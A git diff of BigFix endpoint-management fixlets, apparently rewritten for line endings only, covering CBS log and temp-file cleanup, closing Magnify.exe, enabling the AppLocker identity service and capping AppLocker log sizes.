+    <Title>Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space</Title>
+    <Description><![CDATA[<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We've had repeated instances where a Windows 7 x64 client runs out of hard drive space, and found that C:\Windows\TEMP is being consumed with hundreds of files with names following the pattern "cab_XXXX_X", generally 100 MB each, and these files are constantly generated until the system runs out of space. &nbsp;Upon removing the files &amp; rebooting, the files start being generated again.<BR></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This appears to be&nbsp;caused by large Component-Based Servicing logs. &nbsp;These are stored at C:\Windows\Logs\CBS. &nbsp;The current log file is named "cbs.log". &nbsp;When "cbs.log" reaches a certain size, a cleanup process renames the log to "CbsPersist_YYYYMMDDHHMMSS.log" and then attempts to compress it into a .cab file.<BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">However, when the cbs.log reaches a size of 2 GB before that cleanup process compresses it, the file is to large to be handled by the makecab.exe utility. &nbsp;The log file is renamed to CbsPersist_date_time.log, but when the makecab process attempts to compress it the process fails (but only after consuming some 100 MB under \Windows\Temp). &nbsp;After this, the cleanup process runs repeatedly (approx every 20 minutes in my experience). &nbsp;The process fails every time, and also consumes a new ~ 100 MB in \Windows\Temp before dying. &nbsp;This is repeated until the system runs out of drive space.</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">&nbsp;</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This Action will remove the log files that are too large to be handled by makecab.exe.&nbsp; Any \Windows\Logs\CBS\CbsPersist_XXX.log file larger than 1,000 MB is removed, as well as any cab_ files from C:\Windows\Temp.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
+    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-08-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Aug 2015 16:21:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to clean up CBS logs.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection false
+delete __appendfile
+appendfile net stop TrustedInstaller
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
+appendfile net start TrustedInstaller
+
+delete DeleteLog.cmd
+move __appendfile DeleteLog.cmd
+waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
+
+
+pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes b/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes
index 89bc5e1af..edc34f241 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Close Magnify.exe - Windows (24573).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Close Magnify.exe - Windows
-  ID       : 24573
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-07-04T11:43:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Close Magnify.exe - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists processes &quot;Magnify.exe&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-06-18</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 04 Jul 2017 18:39:21 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// TODO: test
-
-waithidden cmd /C taskkill { ("/pid " & it) of concatenations "/pid " of (it as string) of pids of processes "Magnify.exe" } /T /F
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Close Magnify.exe - Windows
+  ID       : 24573
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-07-04T11:43:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Close Magnify.exe - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists processes &quot;Magnify.exe&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-06-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Jul 2017 18:39:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// TODO: test
+
+waithidden cmd /C taskkill { ("/pid " & it) of concatenations "/pid " of (it as string) of pids of processes "Magnify.exe" } /T /F
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes
index f248882c1..e1a94a9ad 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Application Identity Service - Automatic Start - Windows (20699).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Application Identity Service - Automatic Start - Windows
-  ID       : 20699
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-25T06:18:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Application Identity Service - Automatic Start - Windows</Title>
-    <Description><![CDATA[<P>Sets the Applocker Application Identity Service to automatically start </P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>start type of service &quot;appidsvc&quot; != &quot;auto&quot;</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait sc config AppIDSvc start= auto
-wait net start AppIDSvc</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Application Identity Service - Automatic Start - Windows
+  ID       : 20699
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-25T06:18:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Application Identity Service - Automatic Start - Windows</Title>
+    <Description><![CDATA[<P>Sets the Applocker Application Identity Service to automatically start </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>start type of service &quot;appidsvc&quot; != &quot;auto&quot;</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait sc config AppIDSvc start= auto
+wait net start AppIDSvc</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes
index 4066fc3aa..1c685061d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows (20591).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows
-  ID       : 20591
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:03:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows</Title>
-    <Description><![CDATA[<P>Sets the maximum log size for the applocker AppX Deployment log to 20mb.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment&quot; of native registry</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/Packaged app-Deployment&quot; /ms:20971520</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows
+  ID       : 20591
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - AppX Deployment Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[<P>Sets the maximum log size for the applocker AppX Deployment log to 20mb.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/Packaged app-Deployment&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes
index 7f86105f6..daf8d4bc4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - AppX Execution Max Size - 20mb - Windows (20592).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Log - AppX Execution Max Size - 20mb - Windows
-  ID       : 20592
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:03:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Log - AppX Execution Max Size - 20mb - Windows</Title>
-    <Description><![CDATA[<P>Sets the maximum log size for the applocker AppX Execution log to 20mb</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment&quot; of native registry</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/Packaged app-Execution&quot; /ms:20971520</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - AppX Execution Max Size - 20mb - Windows
+  ID       : 20592
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - AppX Execution Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[<P>Sets the maximum log size for the applocker AppX Execution log to 20mb</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/Packaged app-Execution&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes
index d419e5d04..829787ca8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - EXE_DLL Max Size - 20mb - Windows (20593).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Log - EXE/DLL Max Size - 20mb - Windows
-  ID       : 20593
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:03:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Log - EXE/DLL Max Size - 20mb - Windows</Title>
-    <Description><![CDATA[Sets the maximum log size for the applocker EXE and DLL log to 20mb
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/EXE and DLL&quot; of native registry</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot; /ms:20971520</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Log - EXE/DLL Max Size - 20mb - Windows
+  ID       : 20593
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:03:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Log - EXE/DLL Max Size - 20mb - Windows</Title>
+    <Description><![CDATA[Sets the maximum log size for the applocker EXE and DLL log to 20mb
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>(if (not exists value &quot;MaxSize&quot; of it) then (true) else (value &quot;MaxSize&quot; of it as integer != 20971520)) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/EXE and DLL&quot; of native registry</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait wevtutil.exe sl &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot; /ms:20971520</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes
index 11bd92328..9d5ca5cad 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Log - MSI_Script Max Size - 20mb - Windows (20594).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Log - MSI/Script Max Size - 20mb - Windows
-  ID       : 20594
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:03:55
-  Source   : bigfixm1_main @ BES-Root
--->
